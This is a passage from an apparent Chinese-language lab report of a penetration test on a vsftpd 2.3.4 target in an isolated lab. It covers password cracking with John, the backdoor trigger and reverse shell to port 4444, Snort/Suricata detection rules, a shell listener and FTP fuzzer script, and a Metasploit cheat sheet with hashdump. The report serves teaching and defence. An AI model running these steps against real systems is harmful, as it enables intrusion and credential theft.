# 破解过程中按空格键显示当前进度

# 显示最终破解结果

john --show hash.txt

# 使用规则变型增强破解能力

john --rules --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Step 3：破解结果统计：

⚠实验结果显示，7个用户账户的密码均在数秒内被破解。其中5个账户直接使用用户名作为密码，1个使用常见单词，1个使用纯数字序列。这说明弱口令问题在真实网络中依然普遍存在，是最容易被利用的安全薄弱环节。

7.4 强密码策略的制定

基于本次实验结果，制定以下强密码策略建议：

•最小长度12字符，推荐16字符以上

•必须包含大小写字母、数字和特殊字符的至少三种组合

•禁止使用用户名、公司名、日期等可预测信息

•禁止使用常见弱口令（如password、123456、qwerty等）

•定期更换密码（建议每90天），且不得与最近5次使用的密码重复

•对敏感账户启用多因素认证（MFA），如TOTP或硬件密钥

第八章 网络流量取证与协议分析

8.1 Wireshark抓包原理与混杂模式

Wireshark是全球最广泛使用的网络协议分析器，最初由Gerald Combs于1998年开发（原名Ethereal）。其核心技术原理是将网卡设置为“混杂模式”（Promiscuous Mode），在此模式下，网卡不再仅接收发往本机MAC地址的帧，而是捕获经过网卡的所有数据链路层流量。

在Wireshark的内部架构中，底层的数据捕获由libpcap/WinPcap库完成，负责从网卡驱动获取原始数据包；上层的协议解析引擎则根据各协议的RFC规范，将二进制数据逐层解析为人类可读的协议字段。从以太网帧头开始，依次解析VLAN标签、IP头、TCP/UDP头，最终到达应用层协议（如FTP、HTTP、DNS等）。

8.2 TCP三次握手与四次挥手

TCP（Transmission Control Protocol）是面向连接的可靠传输协议，其可靠性建立在三次握手建立连接和四次挥手断开连接的基础之上。在本次攻击实验中，Wireshark完美记录了每一次TCP连接的完整生命周期。

三次握手过程：①客户端发送SYN包（序列号=x）→ ②服务端回复SYN+ACK包（序列号=y，确认号=x+1）→ ③客户端发送ACK包（确认号=y+1）。至此，双向通信通道建立。

四次挥手过程：①主动方发送FIN包 → ②被动方回复ACK → ③被动方发送FIN包 → ④主动方回复ACK。由于TCP是全双工的，每个方向必须独立关闭，因此需要四次交互。

8.3 FTP协议交互深度解析

FTP（File Transfer Protocol）是一个典型的应用层协议，使用21端口作为控制通道，采用明文传输命令和响应。在本次实验中，Wireshark捕获到的FTP交互流程如下：

1. 靶机发送Banner：“220 (vsFTPd 2.3.4)”，宣告服务版本

2. Kali发送USER命令：“USER anonymous:”，其中包含触发后门的冒号字符

3. 靶机回复：“331 Please specify the password.”

4. Kali发送PASS命令：“PASS anything”

5. 后门触发，靶机在6200端口派生Shell进程

6. 靶机主动连接Kali的4444端口，建立反向TCP隧道

8.4 显示过滤器实战

Wireshark的显示过滤器（Display Filter）是分析攻击流量的核心工具。以下是本次实验中使用的过滤器表达式及其作用：

8.5 攻击流量时间线分析

通过Wireshark的时间线分析功能，可以精确还原整个攻击过程的时间序列：

从流量分析的角度，这次攻击暴露了多个明显的异常特征：①在短时间内出现大量TCP连接尝试；②FTP USER命令中包含非标准字符（冒号）；③靶机在接收到特定FTP命令后，突然在非常规端口（6200）开启服务；④随即出现从靶机到攻击机的异常出站连接（4444端口）。这些特征均可被IDS/IPS规则精确匹配和告警。

第九章 综合分析与安全加固建议

9.1 渗透测试全流程复盘

本次实验严格遵循PTES（Penetration Testing Execution Standard，渗透测试执行标准）的方法论框架，完整经历了以下七个阶段：

1. 前期交互（Pre-engagement）：明确实验范围、目标、规则与边界条件

2. 情报收集（Intelligence Gathering）：使用Nmap发现靶机开放端口与服务版本指纹

3. 威胁建模（Threat Modeling）：识别vsftpd 2.3.4后门漏洞为高危攻击面

4. 漏洞分析（Vulnerability Analysis）：使用Searchsploit定位CVE-2011-2523的利用代码

5. 漏洞利用（Exploitation）：使用Metasploit获取Meterpreter会话

6. 后渗透（Post-Exploitation）：通过hashdump获取密码哈希，使用John破解弱口令

7. 证据留存与报告（Reporting）：使用Wireshark记录全程流量，生成完整攻击证据链

9.2 攻击路径图（Attack Path）

从攻击者的视角，本次渗透的完整攻击路径可以概括为以下逻辑链：

ℹKali (192.168.229.128) → [Nmap扫描] → 发现Target Port 21 (vsftpd 2.3.4) → [Metasploit利用CVE-2011-2523] → 触发后门 → 靶机Spawn Shell (Port 6200) → [反向连接] → Kali Port 4444 → Meterpreter Session → [hashdump] → /etc/shadow → [John破解] → 明文密码

这条攻击路径揭示了几个关键的安全教训：

•单一漏洞即可导致全线崩溃：仅一个vsftpd后门就使整个系统沦陷

•纵深防御的缺失：系统没有任何有效的入侵检测或阻断机制

•弱口令放大了攻击效果：获取哈希后数秒内破解全部密码

•出站流量未受控：反向Shell利用出站连接的宽松策略绕过防火墙

9.3 纵深防御体系构建

基于本次实验暴露的安全缺陷，提出以下纵深防御（Defense in Depth）策略：

9.4 入侵检测规则优化建议

基于Wireshark流量分析的结果，可以为Snort、Suricata等IDS系统编写针对性的检测规则：

# Snort规则示例：检测vsftpd后门触发

alert tcp any any -> any 21 (

msg:"VSFTPD2.3.4 Backdoor Trigger Attempt";

flow:to_server,established;

content:"USER";nocase;

pcre:"/USER[^\n]*:/i";

reference:cve,2011-2523;

classtype:trojan-activity;

sid:1000001;

rev:1;

)

# Suricata规则示例：检测异常出站反向Shell

alert tcp any any -> any [4444,4445,4446] (

msg:"SuspiciousOutbound Connection - Possible Reverse Shell";

flow:to_server;

flags:S;

threshold:typelimit, track by_src, count 5, seconds 60;

classtype:command-and-control;

sid:1000002;

rev:1;

)

9.5 工具协同作战全景图

在整个渗透测试生命周期中，五大工具构成了密不可分的“数据流转闭环”：

ℹNmap（侦察）发现vsftpd 2.3.4指纹 → Searchsploit（情报）提供CVE-2011-2523利用代码 → Metasploit（利用）注入Shellcode获取Shell → John（凭证）破解/etc/shadow哈希 → Wireshark（验证）可视化全部攻击流量。每一步的输出都是下一步的输入，形成完整的数据链。

第十章 结论与展望

10.1 研究总结

本研究在严格可控的虚拟化隔离环境中，完成了从理论探讨到实战操作再到防御建议的完整闭环。主要研究成果总结如下：

1. 系统性地复现了PTES标准渗透测试全流程，验证了从信息收集到权限获取的完整攻击链可行性。

2. 深入分析了vsftpd 2.3.4后门漏洞的底层原理，揭示了供应链攻击的严重危害性。

3. 实验证明即使是十年前已公开的漏洞，在未打补丁的系统上依然具有完全的控制能力。

4. 弱口令问题在本次实验中暴露无遗，7个账户的密码均在数秒内被破解，证实了人为因素仍是安全链条中最薄弱的环节。

5. Wireshark流量分析验证了攻击全过程的每一个数据包都可以被精确还原，说明攻击行为必然留下可追溯的痕迹。

10.2 核心发现

10.3 局限性与不足

本研究存在以下局限性：

•实验环境为专用靶机，漏洞过于明显，与真实生产环境的复杂防御体系存在差距

•未涉及Web应用层漏洞（如SQL注入、XSS、SSRF等）的测试

•未模拟蓝队防御方的实时响应与对抗

•良性病毒部分限于理论分析，未涉及实际编译与运行验证

10.4 未来研究方向

基于本研究的成果与不足，未来的研究方向包括：

1. 探索Windows域环境下的渗透手法（如Kerberos委派攻击、NTLM中继攻击）

2. 研究基于机器学习的入侵检测系统在识别Metasploit流量方面的效能

3. 开展红蓝对抗演练，模拟真实攻防场景下的策略博弈

4. 深入研究恶意代码的反沙箱、反虚拟机技术及其检测方法

5. 探索DevSecOps理念在CI/CD流水线中的安全自动化实践

参考文献

[1] Stallings W. Network Security Essentials: Applications and Standards[M]. 4th ed. Pearson, 2013.

[2] Kennedy D, O'Gorman J, Kearns D, et al. Metasploit: The Penetration Tester's Guide[M]. No Starch Press, 2011.

[3] Skoudis E, Liston T. Counter Hack Reloaded: A Step-by-Step Guide to Computer Attacks and Effective Defenses[M]. Prentice Hall, 2005.

[4] MITRE Corporation. CVE-2011-2523[EB/OL]. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523, 2011.

[5] Offensive Security. Kali Linux Documentation[EB/OL]. https://www.kali.org/docs/, 2026.

[6] Aleph One. Smashing the Stack for Fun and Profit[J]. Phrack Magazine, 1996, 7(49).

[7] Butler J, Hoglund G. Rootkits: Subverting the Windows Kernel[M]. Addison-Wesley, 2005.

[8] 中华人民共和国国务院. 计算机信息系统安全保护条例[Z]. 2011年修订版.

[9] 全国信息安全标准化技术委员会. GB/T 22239-2019 信息安全技术 网络安全等级保护基本要求[S]. 2019.

[10] IBM Security. Cost of a Data Breach Report 2025[R]. IBM Corporation, 2025.

[11] OWASP Foundation. OWASP Testing Guide v4.0[EB/OL]. https://owasp.org/www-project-testing-guide/, 2024.

[12] RFC 959 - Postel J, Reynolds J. File Transfer Protocol (FTP)[S]. IETF, 1985.

[13] RFC 793 - Postel J. Transmission Control Protocol[S]. IETF, 1981.

[14] Rapid7. Metasploit Framework Documentation[EB/OL]. https://docs.metasploit.com/, 2026.

[15] Searchsploit / Exploit-DB. Offensive Security[EB/OL]. https://www.exploit-db.com/, 2026.

附录

附录A：Kali Linux网络配置文件

# /etc/network/interfaces

auto eth0

iface eth0 inet static

address192.168.229.128

netmask255.255.255.0

network192.168.229.0

broadcast192.168.229.255

gateway192.168.229.1

附录B：简易端口监听Python脚本

以下脚本可用于验证反弹Shell是否成功建立连接，是理解反向连接原理的辅助教学工具：

#!/usr/bin/env python3

# reverse_shell_listener.py

# 用途：监听指定端口，验证反弹Shell连接

# 仅用于教学实验环境

import socket

import sys

def start_listener(host='0.0.0.0', port=4444):

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR, 1)

s.bind((host,port))

s.listen(5)

print(f"[*]Listening on {host}:{port}...")

try:

conn,addr = s.accept()

print(f"[+]Connection from {addr[0]}:{addr[1]}")

whileTrue:

data= conn.recv(1024).decode('utf-8', errors='ignore')

ifnot data:

print("[-]Connection closed")

break

print(f"[RECV]{data.strip()}")

cmd= input("shell> ")

ifcmd == 'exit':

break

conn.send(cmd.encode()+ b"\n")

exceptKeyboardInterrupt:

print("\n[*]Listener stopped")

finally:

s.close()

if __name__ == '__main__':

port= int(sys.argv[1]) if len(sys.argv) > 1 else 4444

start_listener(port=port)

附录C：简易Fuzzer脚本

以下Python脚本向FTP服务发送畸形数据，用于理解缓冲区溢出的触发原理：

#!/usr/bin/env python3

# ftp_fuzzer.py

# 用途：向FTP服务发送超长字符串，观察服务响应

# 仅用于教学实验环境

import socket

import sys

import time

def fuzz_ftp(target_ip, port=21, payload_size=4096):

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.settimeout(5)

try:

s.connect((target_ip,port))

banner= s.recv(1024).decode()

print(f"[+]Banner: {banner.strip()}")

#发送超长USER命令

payload= b"A" * payload_size + b"\r\n"

s.send(b"USER" + payload)

response= s.recv(1024).decode()

print(f"[+]Response: {response.strip()}")

exceptsocket.timeout:

print("[-]Connection timeout - service may have crashed!")

exceptConnectionRefusedError:

print("[-]Connection refused - service is down!")

finally:

s.close()

if __name__ == '__main__':

target= sys.argv[1] if len(sys.argv) > 1 else '192.168.229.129'

fuzz_ftp(target)

附录D：实验工具版本信息

附录E：常用Metasploit命令速查表

# ===== 基础操作 =====

msfconsole# 启动控制台

help# 显示帮助

search [keyword]# 搜索模块

use [module_path]# 加载模块

show options# 显示参数

show payloads# 显示可用Payload

set [option] [value]# 设置参数

exploit / run# 执行攻击

back# 返回上级

exit / quit# 退出

# ===== 后渗透操作 =====

getuid# 查看当前用户

sysinfo# 系统信息

shell# 获取Shell

hashdump# 导出密码哈希

ps# 进程列表

migrate [PID]# 进程迁移

background# 后台会话

sessions -l# 列出会话

sessions -i [ID]# 进入会话

# ===== 常用Exploit模块 =====

exploit/unix/ftp/vsftpd_234_backdoor# vsftpd 2.3.4后门

exploit/multi/samba/usermap_script# Samba usermap漏洞

exploit/unix/irc/unreal_ircd_3281_backdoor# UnrealIRCd后门